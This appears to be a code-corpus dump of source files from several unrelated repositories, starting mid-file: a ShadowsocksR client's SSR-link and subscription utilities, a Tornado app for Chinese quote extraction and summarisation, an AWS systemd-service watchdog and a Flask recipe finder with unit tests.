4 else: return "/" + to_str(chr(ch)) elif self.state == 4: if ch == ord('\n'): self.state = 0 return "\n" return "" def remove_comment(json): fmt = JSFormat() return "".join([fmt.push(c) for c in json]) def parse_json_in_str(data): # parse json and convert everything from unicode to str return json.loads(data, object_hook=_decode_dict) def print_server_info(servers, header=None, indexed=False, verbose=False, hightlight=False): # server = decode_ssrlink(ssr) if hightlight: print('*' * 100) if header: print(header) if isinstance(servers, dict): # a single server servers = [servers] index = 1 for server in servers: server_info = [ server['server'], server['server_port'], server['password'], server.get('remarks', ''), server.get('group', '') ] if indexed: server_info = ['%-2d' % index] + server_info if verbose: server_info += [ server.get('protocol', ''), server.get('method', ''), server.get('obfs', '') ] # TODO: ping value check print(*server_info) index += 1 if hightlight: print('*' * 100) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Encode/decode SSR link. """ if __name__ == '__main__': import os, sys file_path = os.path.dirname(os.path.realpath(__file__)) sys.path.insert(0, os.path.join(file_path, '../../')) from shadowsocks.core import common import base64 # from urllib import urlencode def base64_decode(string): def adjust_padding(string): """Adjust to base64 format, i.e. len(string) % 4 == 0.""" missing_padding = len(string) % 4 if missing_padding: string += '=' * (4 - missing_padding) return string string = adjust_padding(string.strip()) return common.to_str(base64.urlsafe_b64decode(common.to_bytes(string))) def base64_encode(string): return common.to_str(base64.urlsafe_b64encode(common.to_bytes(string))).replace('=', '') def decode_ssrlink(link): if not is_valide_ssrlink(link): raise Exception(link + 'is not a valid ssr link') # link[6:] to strip the first 6 characters, i.e. 'ssr://' config_str = base64_decode(link[6:]).split('/?') required_config = config_str[0].split(':') optional_config = config_str[1] config = {} config['server'] = required_config[0] config['server_port'] = required_config[1] config['protocol'] = required_config[2] config['method'] = required_config[3] config['obfs'] = required_config[4] config['password'] = base64_decode(required_config[5]) for param in optional_config.split('&'): if param: # remove empty param k, v = param.split('=') try: config[k] = base64_decode(v) except Exception: # in case that this is not a base64encoded string, use the original string instead. config[k] = v return config def encode_to_link(server): required = ':'.join([server['server'], str(server['server_port']), server['protocol'], server['method'], server['obfs'], base64_encode(server['password'])]) optional = [] for k, v in server.items(): if k not in ['server', 'server_port', 'protocol', 'method', 'obfs', 'password']: if k == 'uot': # somehow this value is not base64-encoded. optional.append('{}={}'.format(k, v)) else: # optional[k] = base64_encode(v) optional.append('{}={}'.format(k, base64_encode(str(v)))) optional = '&'.join(optional) link = 'ssr://' + base64_encode('/?'.join((required, optional))) return link def is_valide_ssrlink(ssrlink): return ssrlink[:6] == 'ssr://' def is_duplicated(link1, link2): ssr1 = decode_ssrlink(link1) ssr2 = decode_ssrlink(link2) # for config in ['server', 'server_port', 'password', 'protocol', 'method', 'obfs']: for config in ['server', 'server_port']: # the simple, the better if ssr1[config] != ssr2[config]: return False return True if __name__ == "__main__": import sys if len(sys.argv) == 2: # s = common.to_str(base64.urlsafe_b64decode(common.to_bytes(adjust_padding(sys.argv[1])))) # s = base64_decode(sys.argv[1]) # a = s.split('\n') # print(a) # print(decode_ssrlink(sys.argv[1])) print(decode_ssrlink('ssr://' + sys.argv[1])) print(base64_decode(sys.argv[1])) server = decode_ssrlink('ssr://' + sys.argv[1]) print(encode_to_link(server)) --- FILE SEPARATOR --- import pyspeedtest --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Support for subscribtion. {'subscribe_addrs': {}, 'groups': {}, 'servers': {}} """ if __name__ == '__main__': import os, sys file_path = os.path.dirname(os.path.realpath(__file__)) sys.path.insert(0, os.path.join(file_path, '../../')) sys.path.insert(0, os.path.join(file_path, '../')) from shadowsocks.lib import ssrlink from urllib import request def fetch_ssr(url): """Retrive ssr links form url, return a list.""" # TODO: sometimes we need to try to get via a proxy. # base64_ssr = requests.get(url).text headers = { 'User-Agent': 'Mozilla/5.0', } req = request.Request(url, headers=headers) base64_ssr = request.urlopen(req).read().decode('utf-8') ssrlinks = ssrlink.base64_decode(base64_ssr).split('\n') # The last one should be empty string. # Of course we can handle more correctly. # But as for now, it just works. return [link.strip() for link in ssrlinks if ssrlink.is_valide_ssrlink(link)] if __name__ == "__main__": import sys if len(sys.argv) == 2: print(fetch_ssr(sys.argv[1])) --- FILE SEPARATOR --- import os def test_client(): print('testing:', 'python3 ~/Projects/shadowsocksr-dev/shadowsocks/local.py -L "ssr://NjIuMTEzLjE542MTo0MDAxMDpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46ZG5CdWJtVnpkQ0ZBSXpFeU0yUS8_b2Jmc3BhcmFtPSZyZW1hcmtzPTViNjM1WnU5Jmdyb3VwPVUxTlNVMGhCVWtVdVEwOU4mdW90PTE"') os.system('python3 ~/Projects/shadowsocksr-dev/shadowsocks/local.py -L "ssr://NjIuMTEzLjE542MTo0MDAxMDpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46ZG5CdWJtVnpkQ0ZBSXpFeU0yUS8_b2Jmc3BhcmFtPSZyZW1hcmtzPTViNjM1WnU5Jmdyb3VwPVUxTlNVMGhCVWtVdVEwOU4mdW90PTE"') --- FILE SEPARATOR --- from utils import * add_path_if_main() from shadowsocks.lib.config import * def test_load(): config = ClientConfigManager().load('test_config.json') # config.create('servers', {}) print('after instancing:', config.config) servers = config.get('servers') config.add('servers', 'ssr://www.baidu.com/') servers = config.get('servers') # def test_clear(): # print('before clear') # config = ClientConfigManager().load('test_config.json') # servers = config.get('servers') # print('servers:', servers) # config.clear() # print('after clear') # servers = config.get('servers') # print('servers:', servers) def test_recursive_key(): config = ClientConfigManager().load('test_config.json') servers = config.get('servers') config.add('servers', 'ssr://www.google.com/') print('creating ks') config.create('ks', {}) print('creating ks/ww') config.create('ks/ww', {}) print('*' * 40) print(config.config) print('removing ks/ww') config.remove('ks/ww') print(config.config) print('removing ks') config.remove('ks') print(config.config) @output_formatter def test_subscription(): config = ClientConfigManager('test_config.pickle') singleton_test = ClientConfigManager('test_config.pickle') assert config is singleton_test print('before:') servers = config.get_server() sub = config.get_subscription() print('server:', servers) print('subscription:', sub) # config.clear() config.add_subscription(['sub1', 'sub2']) config.add_server(['server1', 'server2']) servers = config.get_server() sub = config.get_subscription() print('server:', servers) print('subscription:', sub) config.add_subscription('sub3') config.add_server('server3') servers = config.get_server() sub = config.get_subscription() print('server:', servers) print('subscription:', sub) print(config.config) if __name__ == "__main__": # config = ClientConfigManager('test_config.json') # config.clear() # test_recursive_key() test_subscription() --- FILE SEPARATOR --- def add_path_if_main(): # if __name__ == '__main__': import os, sys file_path = os.path.dirname(os.path.realpath(__file__)) sys.path.insert(0, os.path.join(file_path, '../')) def output_formatter(f): def decorated(*args, **kwargs): # print('\n') print('*' * 20, f, '*' * 20) return_value = f(*args, **kwargs) print('\n') return return_value return decorated --- FILE SEPARATOR --- def output_formatter(f): def decorated(*args, **kwargs): # print('\n') print('*' * 20, f, '*' * 20) return_value = f(*args, **kwargs) print('\n') return return_value return decorated
[ "/misc/switchrule.py", "/shadowsocks/bin/client.py", "/shadowsocks/core/command.py", "/shadowsocks/core/network.py", "/shadowsocks/core/service.py", "/shadowsocks/lib/config.py", "/shadowsocks/lib/shell.py", "/shadowsocks/lib/ssrlink.py", "/shadowsocks/plugins/speedtest.py", "/shadowsocks/plugins/subscribe.py", "/tests/test_client.py", "/tests/test_config.py", "/tests/utils.py", "/utils/utils.py" ]
0meou0/Web_Application
# -*- coding: utf-8 -*- from tornado.web import RequestHandler, Finish import re import jieba import os from pyltp import Segmentor, SentenceSplitter, NamedEntityRecognizer, Parser, Postagger from typing import List, Dict import difflib import math from itertools import product, count from string import punctuation from heapq import nlargest # # ltp路径 # LTP_DATA_PATH = 'D:\pyltp-master\ltp_data_v3.4.0' # # cws_model_path = os.path.join(LTP_DATA_PATH, 'cws.model') # pos_model_path = os.path.join(LTP_DATA_PATH, 'pos.model') # ner_model_path = os.path.join(LTP_DATA_PATH, 'ner.model') # par_model_path = os.path.join(LTP_DATA_PATH, 'parser.model') # class BaseHandler(RequestHandler): """ 基类 """ def jieba_cut(self, string): return " ".join(jieba.cut(string)) def token(self, string): pat = re.compile('\\\\n|\\u3000|;|\\n|\s+') string = re.sub(pat, '', string) return ''.join(string) def cut_sentence(self, string): """ 分句 :param string: atricles :return: list[sentence1,sentence2...] """ sentence_cut = SentenceSplitter.split(string) sentences = [s for s in sentence_cut if len(s) != 0] return sentences def cut_word(self, sentence): """ 分词(jieba) :param sentence: list[sentence1,sentence2...] :return: list[word1,word2...] words:[word1,word2...] """ words = [] words += self.jieba_cut(sentence).split(' ') return words def word_pos(self, sentence, postagger): """ 词性标注 :param sentence:list[sentence1,sentence2...] :return: list[postag1,postag2...] """ words = self.cut_word(sentence) postag = postagger.postag(words) return list(postag) def ner(self, words, pos, recognizer): """ 命名实体识别 :param words:cut_word_list :param pos: postag_list :return: ner_list """ ners = recognizer.recognize(words, pos) return list(ners) def dependency_parse(self, words, pos, parser): """ 依存句法分析 :param words:cut_word_list :param pos: pos_list :return: arc.head:依存关系头索引,arc.relation:依存关系 """ arcs = parser.parse(words, pos) return [(arc.head, arc.relation) for arc in arcs] def find_str_index(self, source_list, begin_index, target_list): """ 在分好词的列表中查找指定字符之一 :param source_list: 要查找的列表 :param begin_index: 开始位置索引 :param target_list: 目标字符列表,可按重要程度排序 :return: 位置 失败返回-1 """ for item in target_list: res = [i for i in range(len(source_list)) if source_list[i] == item and i >= begin_index] if len(res) != 0: return res[0] else: continue else: print('没找到{}'.format(target_list)) return -1 def extract_comment(self, article, say_words): """ 抽取言论 :param news_path: 新闻路径 :param say_words: similar to "say" :return:result:list[[person, say, comment],...] """ # ltp路径 LTP_DATA_PATH = '../ltp_data_v3.4.0' cws_model_path = os.path.join(LTP_DATA_PATH, 'cws.model') pos_model_path = os.path.join(LTP_DATA_PATH, 'pos.model') ner_model_path = os.path.join(LTP_DATA_PATH, 'ner.model') par_model_path = os.path.join(LTP_DATA_PATH, 'parser.model') postagger = Postagger() postagger.load(pos_model_path) print('Postagger loaded!') recognizer = NamedEntityRecognizer() recognizer.load(ner_model_path) print('NER loaded!') parser = Parser() parser.load(par_model_path) print('Parser loaded!') result = [] sentences = self.cut_sentence(self.token(article)) for s_index, sentence in enumerate(sentences): words = self.cut_word(sentence) pos = self.word_pos(sentence, postagger) ner_list = self.ner(words, pos, recognizer) parse_list = self.dependency_parse(words, pos, parser) if 'S-Nh' or 'S-Ni' or 'S-Ns' in ner_list: comment = '' for p_index, p in enumerate(parse_list): # p[0]-1:说的索引(words,parse_list中都是) # p_index:主语位置 if (p[1] == 'SBV') and words[p[0] - 1] in say_words: say = words[p[0] - 1] person = words[p_index] p_i = 1 while p_i <= p_index and parse_list[p_index - p_i][1] == 'ATT': person = words[p_index - p_i] + person p_i = p_i + 1 # 说后是。找前一句话的“” if words[p[0]] == '。': # print('说。') i = 1 last_sentence = sentences[s_index - i] last_words = self.cut_word(last_sentence) begin = self.find_str_index(last_words, 0, ['“']) end = self.find_str_index(last_words, 0, ['”']) if begin != -1 and end != -1 and begin < end: comment = ''.join(last_words[begin + 1:end]) else: while begin == -1 and end != -1: i = i + 1 last_sentence = sentences[s_index - i] last_words = self.cut_word(last_sentence) begin = self.find_str_index(last_words, 0, ['“']) while i > 0: comment = comment + sentences[s_index - i] i = i - 1 else: begin = self.find_str_index(words, p[0], ['“']) end = self.find_str_index(words, p[0], ['”']) if begin != -1 and end != -1 and parse_list[end - 1][0] == 'WP': comment = ''.join(words[begin:end]) elif begin != -1 and end == -1: comment = ''.join(words[begin:]) i = 1 next_sentence = sentences[s_index + i] while end == -1: end = self.find_str_index(self.cut_word(next_sentence), 0, ['”']) i = i + 1 if len(sentences) > s_index + i: next_sentence = sentences[s_index + i] else: break comments = '' while i > 1 and len(sentences) > s_index + i: comments = sentences[s_index + i] + comments i = i - 1 comment = comment + comments else: # 说后面跟,或: if words[p[0]] == ',' or words[p[0]] == ',' or words[p[0]] == ':': # print('说,') comment = ''.join(words[p[0]+1:]) # end = self.find_str_index(words, p[0] + 1, ['。', '!']) # if end != -1: # comment = ''.join(words[p[0] + 1:end]) # 说后跟宾语 elif parse_list[p[0]][1] == 'VOB' or parse_list[p[0]][1] == 'IOB': print('告诉谁') i = 0 comment = ''.join(words[p[0]+1:]) # while len(comment) == 0: # end = self.find_str_index(words, p[0] + i, [ '。', '!']) # if end != -1: # comment = ''.join(words[p[0] + i:end]) # i = i + 1 # 说后面直接跟内容 else: comment = ''.join(words[p[0]:]) # print('说内容') # end = self.find_str_index(words, p_index, [ '。', '!']) # if end != -1: # comment = ''.join(words[p[0]:end]) print(parse_list) # print(words[p[0]]) print(sentence) print('[{}] [{}] [{}]'.format(person, say, comment)) print('-' * 50) item = [] # item.append(person) # item.append(say) # item.append(comment) result.append([person, say, comment]) # result.append(item) postagger.release() recognizer.release() parser.release() return result def split_sentence(self, sentence=None, say_word_list: List[str] = None, cycle: bool = True, ratio: float = None) -> None: """ 分词 :type say_word_list: :param sentence: :return: """ LTP_DATA_PATH = 'D:\pyltp-master\ltp_data_v3.4.0' cws_model_path = os.path.join(LTP_DATA_PATH, 'cws.model') pos_model_path = os.path.join(LTP_DATA_PATH, 'pos.model') ner_model_path = os.path.join(LTP_DATA_PATH, 'ner.model') par_model_path = os.path.join(LTP_DATA_PATH, 'parser.model') postagger = Postagger() postagger.load(pos_model_path) print('Postagger loaded!') parser = Parser() parser.load(par_model_path) print('Parser loaded!') segment = Segmentor() segment.load(cws_model_path) print('CWS loaded!') if cycle == True: try: lines = sentence sentence = list(segment.segment(lines)) # print('sen ok') # 找出相似 find_say_word = [word for word in sentence if word in say_word_list] if len(find_say_word) == 0: print('没有发现类似“说”的单词!') else: post_word = postagger.postag(sentence) post_word = list(post_word) # print('post ok') parse_word = parser.parse(sentence, post_word) parse_word = [(arc.head, arc.relation) for arc in parse_word] # print('parse ok') counter_index = 0 for index, word in enumerate(parse_word): location_part1 = '' location_part2 = '' location_part3 = '' # 找出第一个SBV下的"真新闻" if word[-1] == 'SBV': counter_index = word[0] location_part1 += sentence[index] location_part1 += sentence[word[0] - 1] break # 先将整个SBV后面碰到是双引号或者没有双引号的句子,用于后面文本向量的模型计算 # 暂时只提取双引号内容和两个句号结束的句子为数据 if sentence[counter_index] == '"': for index_2, word_2 in enumerate(sentence[counter_index + 1:]): if word_2 == '"': break location_part2 += word_2 else: for index_2, word_2 in enumerate(sentence[counter_index:]): if word_2 == '。': for word_4 in sentence[index_2 + 1:]: if word_4 == '。': break location_part3 += word_4 break location_part2 += word_2 # 判别说前后两个句号句子的相似度 cal_ratio = difflib.SequenceMatcher(None, location_part2, location_part3).ratio() if cal_ratio > ratio: result = location_part1 + location_part2 + location_part3 else: result = location_part1 + location_part2 segment.release() postagger.release() parser.release() return result.strip('\n') except Exception as e: print(e) elif cycle == False: print('不处理') else: raise TypeError('错误的输入类型') print('词标注和上下文定义结束') print('-' * 20, '华丽的分割线', '-' * 20) # project2 class BaseHandler2(RequestHandler): # TEXTPAGE # def __init__(self, sentence): # self.__sentence = sentence def token(self, string): pat = re.compile('\\\\n|\\u3000|;|\\n|\s+') string = re.sub(pat, '', string) return ''.join(string) def _calculate_similarity(self, sen1, sen2): counter = 0 for word in sen1: if word in sen2: counter += 1 return counter / (math.log(len(sen1)) + math.log(len(sen2))) # 构造有向图 def _create_graph(self, word_sent): num = len(word_sent) board = [[0.0 for _ in range(num)] for _ in range(num)] for i, j in product(range(num), repeat=2): if i != j: board[i][j] = self._calculate_similarity(word_sent[i], word_sent[j]) return board def _weighted_pagerank(self, weight_graph): """ 输入相似度邻接矩阵 返回各个句子的分数 """ # 把初始的分数值设置为0.5 scores = [0.5 for _ in range(len(weight_graph))] old_scores = [0.0 for _ in range(len(weight_graph))] # 开始迭代 while self._different(scores, old_scores): for i in range(len(weight_graph)): old_scores[i] = scores[i] for i in range(len(weight_graph)): scores[i] = self._calculate_score(weight_graph, scores, i) return scores def _different(self, scores, old_scores): """ 判断前后分数有没有变化 这里认为前后差距小于0.0001 分数就趋于稳定 """ flag = False for i in range(len(scores)): if math.fabs(scores[i] - old_scores[i]) >= 0.0001: flag = True break return flag def _calculate_score(self, weight_graph, scores, i): """ 根据公式求出指定句子的分数 """ length = len(weight_graph) d = 0.85 added_score = 0.0 for j in range(length): fraction = 0.0 denominator = 0.0 # 先计算分子 fraction = weight_graph[j][i] * scores[j] # 计算分母 for k in range(length): denominator += weight_graph[j][k] added_score += fraction / denominator # 算出最终的分数 weighted_score = (1 - d) + d * added_score return weighted_score def Summarize(self, n, sentence): # 首先分出句子 # sents = sent_tokenize(text) sentence = sentence.split('\n') sents = [] print('sentence:', sentence, type(sentence)) for line in sentence: sents = re.split('[。?!]', line)[:-1] # 然后分出单词 # word_sent是一个二维的列表 # word_sent[i]代表的是第i句 # word_sent[i][j]代表的是 # 第i句中的第j个单词 word_sent = [list(jieba.cut(s)) for s in sents] print(word_sent) # 把停用词去除 # for i in range(len(word_sent)): # for word in word_sent[i]: # if word in stopwords: # word_sent[i].remove(word) similarity_graph = self._create_graph(word_sent) scores = self._weighted_pagerank(similarity_graph) sent_selected = nlargest(n, zip(scores, count())) sent_index = [] for i in range(n): sent_index.append(sent_selected[i][1]) return [sents[i] for i in sent_index] --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # project1模块 from app import BaseHandler class Project1(BaseHandler): def get(self, *args, **kwargs): # 发送数据到前端 self.render('project1.html', data=None, news=None) def post(self, *args, **kwargs): say_word = ['指出', '说', '表示', '声称', '说道', '宣称', '告诉', '提到', '认为', '写道', '相信', '称', '说明', '否认', '透露', '强调', '指称', '表明', '提及', '提出', '问', '觉得', '回答', '说出', '暗示', '辩称', '坚称', '谈到', '断言', '解释', '谈到', '谈话', '讲到', '宣告', '宣布', '眼中', '指出', '坦言', '明说', '报道', '通知', '看来', '所说', '透露', '眼里', '直言', '反问', '咨询', '发言', '反映', '谈论', '谴责', '批评', '抗议', '反对', '申诉', '狡辩', '重申', '通报', '通报', '询问', '正说', '介绍' ] # 接收前端输入self.new存储前端name为news的内容 news = self.get_argument('news') # 去除无意义字符 cleaned_string = self.token(news) # result = self.split_sentence(cleaned_string, say_word, ratio=0.05) result = self.extract_comment(cleaned_string, say_word) # data:<list> self.render('project1.html', data=result, news=news) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from app import BaseHandler2 class Project2(BaseHandler2): def get(self, *args, **kwargs): # 发送数据到前端 self.render('project2.html', data=None, news=None) def post(self, *args, **kwargs): # 接收前端输入self.new存储前端name为news的内容 news = self.get_argument('news') cleaned_string = self.token(news) result = self.Summarize(3, cleaned_string) res = '' for sens in result: res += sens res += '。' # data:<str> self.render('project2.html', data=res, news=news) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from tornado import web, ioloop, httpserver, options import tornado.autoreload from app import project1,project2,project3 # 功能模块 class MainPageHandler(web.RequestHandler): def get(self, *args, **kwargs): # self.write('helloworld') self.render('index.html') def post(self, *args, **kwargs): news = self.get_argument('news') print('news:{}'.format(news)) class Project2(web.RequestHandler): def get(self, *args, **kwargs): self.render('project2.html') # settings = { # 设置模板路径 'template_path': 'app/templates', # 设置静态文件路径 'static_path': 'app/static', 'debug': True } # 路由 application = web.Application([ (r"/index", MainPageHandler), (r"/project1", project1.Project1), (r"/project2", project2.Project2), ], **settings) if __name__ == '__main__': # socket http_server = httpserver.HTTPServer(application) http_server.listen(7777) print('http//:127.0.0.1:9999') ioloop.IOLoop.current().start()
[ "/app/__init__.py", "/app/project1.py", "/app/project2.py", "/run.py" ]
0mk1/simple-aws-watchdog
import logging import time from datetime import datetime, timedelta from .config import DynamoDBConfig from .notifications import SNS from .utils import check_and_heal_service __all__ = ['aws_watchdog'] logger = logging.getLogger(__name__) def aws_watchdog(config_id): """AWS watchdog function. Health check for your services.""" # TODO: sns topic arn notification_module = SNS() # TODO: dynamodb table config = DynamoDBConfig('', config_id) start_time = datetime.now() while True: if (datetime.now() - start_time) >= timedelta(minutes=15): # reloading config # TODO: dynamodb table config = DynamoDBConfig('', config_id) start_time = datetime.now() for service in config.list_of_services: check_and_heal_service( service, config.num_of_attempts, config.num_of_sec_wait, notification_module, ) time.sleep(config.num_of_sec_check) --- FILE SEPARATOR --- import logging import boto3 from botocore.exceptions import ClientError logger = logging.getLogger(__name__) class DynamoDBConfig: def __init__(self, table_name, config_id): self.table_name = table_name self.client = boto3.client('dynamodb') self._raw_config = self.get_raw_config(config_id) logger.info(self._raw_config) self.list_of_services = self.get_list_of_services() self.num_of_sec_check = self.get_num_of_sec_check() self.num_of_sec_wait = self.get_num_of_sec_wait() self.num_of_attempts = self.get_num_of_attempts() def get_raw_config(self, config_id): try: return self.client.get_item( TableName=self.table_name, Key={ 'id': { 'S': str(config_id), }, }, ) except ClientError as err: logger.error(err) raise err def get_list_of_services(self): item = self.get_item_from_raw_config() services_list = item['ListOfServices']['L'] return [service_dict['S'] for service_dict in services_list] def get_num_of_sec_check(self): item = self.get_item_from_raw_config() return int(item['NumOfSecCheck']['N']) def get_num_of_sec_wait(self): item = self.get_item_from_raw_config() return int(item['NumOfSecWait']['N']) def get_num_of_attempts(self): item = self.get_item_from_raw_config() return int(item['NumOfAttempts']['N']) def get_item_from_raw_config(self): raw_config = self._raw_config return raw_config['Item'] --- FILE SEPARATOR --- import logging import boto3 from botocore.exceptions import ClientError logger = logging.getLogger(__name__) class SNS: def __init__(self, topic_arn): self.topic_arn = topic_arn self.client = boto3.client('sns') def publish(self, message, subject='AWS Watchdog'): try: response = self.client.publish( TopicArn=self.topic_arn, Message=message, Subject=subject, MessageStructure='string', ) logger.info(response) except ClientError as err: logger.error(err) raise err --- FILE SEPARATOR --- import getpass import logging import subprocess import time logger = logging.getLogger(__name__) def run_command(command_list): """Run shell command in subprocess. Returns exit code of commmand. Suppressing any stdout and stderr. """ try: proc = subprocess.Popen( command_list, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) exit_code = proc.wait() return exit_code except (OSError, subprocess.CalledProcessError) as err: logger.error(err) raise err def is_service_running(name): """Check if service is running on linux system. Need to use system with systemd. """ exit_code = run_command(['systemctl', 'status', name]) return exit_code == 0 def restart_service(name): """Restart service on linux system. Need to use system with systemd. Returns exit code of restarting command. """ exit_code = run_command(['systemctl', 'restart', name]) return exit_code def current_user_is_root(): return getpass.getuser() == 'root' def check_and_heal_service( service, num_of_attempts, num_of_sec_wait, notification_module ): if not is_service_running(service): service_down_message = '{} is down.'.format(service) logger.error(service_down_message) notification_module.publish(service_down_message) for attempt in range(1, num_of_attempts + 1): logger.info( 'Restarting {}. Attempt {}'.format(service, attempt) ) restart_command_exit_code = restart_service(service) if restart_command_exit_code == 0: success_restart_message = ( 'Success of restarting {}. On {} attempt.'.format( service, attempt, ) ) logger.info(success_restart_message) notification_module.publish(success_restart_message) break if attempt == num_of_attempts: failure_restart_message = ( 'Failure of restarting {}. On {} attempt.'.format( service, attempt, ) ) logger.error(failure_restart_message) notification_module.publish(failure_restart_message) time.sleep(num_of_sec_wait) --- FILE SEPARATOR --- #!/usr/bin/env python3from codecs import open from setuptools import find_packages, setup setup( name='aws_watchdog', version='0.0.1', description='', url='https://bitbucket.org/toffi9/aws-watchdog', author='Mateusz Kamycki', author_email='mateusz.kamycki@gmail.com', license='MIT', classifiers=[ 'Topic :: Utilities', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], packages=find_packages(exclude=['docs', 'tests*']), install_requires=[ 'boto3==1.4.6', 'click==6.7', 'python-daemon==2.1.2', ], scripts=[ 'aws_watchdogd', ], )
[ "/aws_watchdog/__init__.py", "/aws_watchdog/config.py", "/aws_watchdog/notifications.py", "/aws_watchdog/utils.py", "/setup.py" ]
0ooops/RecipeFinder
from flask import Flask, render_template, redirect, url_for, request import datetime import json import csv import io import re app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def get_recipe(): if request.method == 'POST': # Check if both files exist try: file_ing = request.files['ingredients'] file_rec = request.files['recipes'] except: return render_template('home.html', error = "Missing file.") if not file_ing or not file_rec: return render_template('home.html', error = "Missing file.") # Parse files and check if both files contain valid content ingredients = validate_ing(file_ing) recipes = validate_rec(file_rec) if not ingredients or not recipes: return render_template('home.html', error = "Invalid file.") # Match recipes with ingredients and return one following the rules recipe = best_recipe(ingredients, recipes) return render_template('home.html', recipe = recipe) else: return render_template('home.html') def validate_ing(file_ing): stream = io.StringIO(file_ing.stream.read().decode("UTF8"), newline=None) csv_input = csv.reader(stream) ingredients = [] for row in csv_input: if len(row) == 4 and row[1].isdigit() and re.search("^\d+/\d+/\d+?", row[3]): ingredients.append(row) if len(ingredients) > 0: return ingredients else: return False def validate_rec(file_rec): json_input = file_rec.read() json_list = json.loads(json_input) recipes = [] for item in json_list: if "name" in item and "ingredients" in item: for ingredient in item['ingredients']: if "item" in ingredient and "amount" in ingredient \ and "unit" in ingredient: recipes.append(item) if len(recipes) > 0: return recipes else: return False def best_recipe(ingredients, recipes): recipe_name = "Order Takeout" closest_date = None for recipe in recipes: has_recipe, ingre_date = \ validate_recipe(ingredients, recipe['ingredients']) if has_recipe and (closest_date == None or ingre_date < closest_date): closest_date = ingre_date recipe_name = recipe['name'] return recipe_name def validate_recipe(ingredients, recipe_ingres): today_date = datetime.datetime.today() has_recipe = True ingre_date = None for recipe_ingre in recipe_ingres: has_ingre = False for item in ingredients: if item[0] == recipe_ingre['item'] \ and int(item[1]) >= int(recipe_ingre['amount']) \ and item[2] == recipe_ingre['unit'] \ and datetime.datetime.strptime(item[3], "%d/%m/%Y") > today_date: has_ingre = True if ingre_date == None or item[3] < ingre_date: ingre_date = item[3] break if not has_ingre: has_recipe = False break return has_recipe, ingre_date if __name__ == "__main__": app.run(debug=True) --- FILE SEPARATOR --- import sys # go back to parent directory sys.path.append("..") from recipes.main import * import unittest class Test(unittest.TestCase): # Testing method validate_recipe(ingredients, recipe_ingres) def test_validate_recipe(self): # test cases recipe_ingres1 = [ { "item":"bread", "amount":"2", "unit":"slices"}, { "item":"mixed salad", "amount":"100", "unit":"grams"} ] recipe_ingres2 = [ { "item":"cheese", "amount":"2", "unit":"slices"}, { "item":"bread", "amount":"2", "unit":"slices"} ] recipe_ingres3 = [ { "item":"bread", "amount":"20", "unit":"slices"}, { "item":"mixed salad", "amount":"100", "unit":"grams"} ] recipe_ingres4 = [ { "item":"meat", "amount":"2", "unit":"slices"}, { "item":"bread", "amount":"2", "unit":"slices"} ] recipe_ingres5 = [ { "item":"bread", "amount":"2", "unit":"grams"}, { "item":"mixed salad", "amount":"100", "unit":"grams"} ] ingredients = [ ['bread','10','slices','25/12/2018'], ['cheese','10','slices','25/12/2014'], ['butter','250','grams','15/7/2018'], ['peanut butter','250','grams','11/7/2018'], ['mixed salad','150','grams','12/7/2018'] ] # valid recipe with valid ingredients has_recipe, ingre_date = validate_recipe(ingredients, recipe_ingres1) self.assertEqual(has_recipe, True) self.assertEqual(ingre_date, '12/7/2018') # invalid recipe with outdated ingredient has_recipe, ingre_date = validate_recipe(ingredients, recipe_ingres2) self.assertEqual(has_recipe, False) self.assertEqual(ingre_date, None) # invalid recipe without enough amount has_recipe, ingre_date = validate_recipe(ingredients, recipe_ingres3) self.assertEqual(has_recipe, False) self.assertEqual(ingre_date, None) # invalid recipe without enough ingredients has_recipe, ingre_date = validate_recipe(ingredients, recipe_ingres4) self.assertEqual(has_recipe, False) self.assertEqual(ingre_date, None) # invalid recipe with wrong unit has_recipe, ingre_date = validate_recipe(ingredients, recipe_ingres5) self.assertEqual(has_recipe, False) self.assertEqual(ingre_date, None) # Testing method best_recipe(ingredients, recipes) def test_best_recipe(self): recipes = [ { "name": "grilled cheese on toast", "ingredients": [ { "item":"bread", "amount":"2", "unit":"slices"}, { "item":"cheese", "amount":"2", "unit":"slices"} ] } , { "name": "salad sandwich", "ingredients": [ { "item":"bread", "amount":"2", "unit":"slices"}, { "item":"mixed salad", "amount":"100", "unit":"grams"} ] } ] ingredients1 = [ ['bread','10','slices','25/12/2018'], ['cheese','10','slices','25/12/2014'], ['butter','250','grams','15/7/2018'], ['peanut butter','250','grams','11/7/2018'], ['mixed salad','150','grams','12/7/2018'] ] ingredients2 = [ ['bread','10','slices','25/12/2018'], ['cheese','10','slices','11/7/2018'], ['butter','250','grams','15/7/2018'], ['peanut butter','250','grams','31/12/2018'], ['mixed salad','150','grams','31/12/2018'] ] ingredients3 = [ ['bread','10','slices','2/7/2018'], ['cheese','10','slices','1/7/2018'], ['butter','250','grams','15/7/2018'], ['peanut butter','250','grams','3/7/2018'], ['mixed salad','150','grams','3/7/2018'] ] # one valid recipe and one invalid recipe, return the valid one recipe_name = best_recipe(ingredients1, recipes) self.assertEqual(recipe_name, 'salad sandwich') # two valid recipes return the one with the closest used-by ingredient recipe_name = best_recipe(ingredients2, recipes) self.assertEqual(recipe_name, 'grilled cheese on toast') # two invalid recipes return Order Takeout recipe_name = best_recipe(ingredients3, recipes) self.assertEqual(recipe_name, 'Order Takeout') if __name__ == '__main__': unittest.main()
[ "/recipes/main.py", "/tests/test.py" ]
0ps/VulScanner
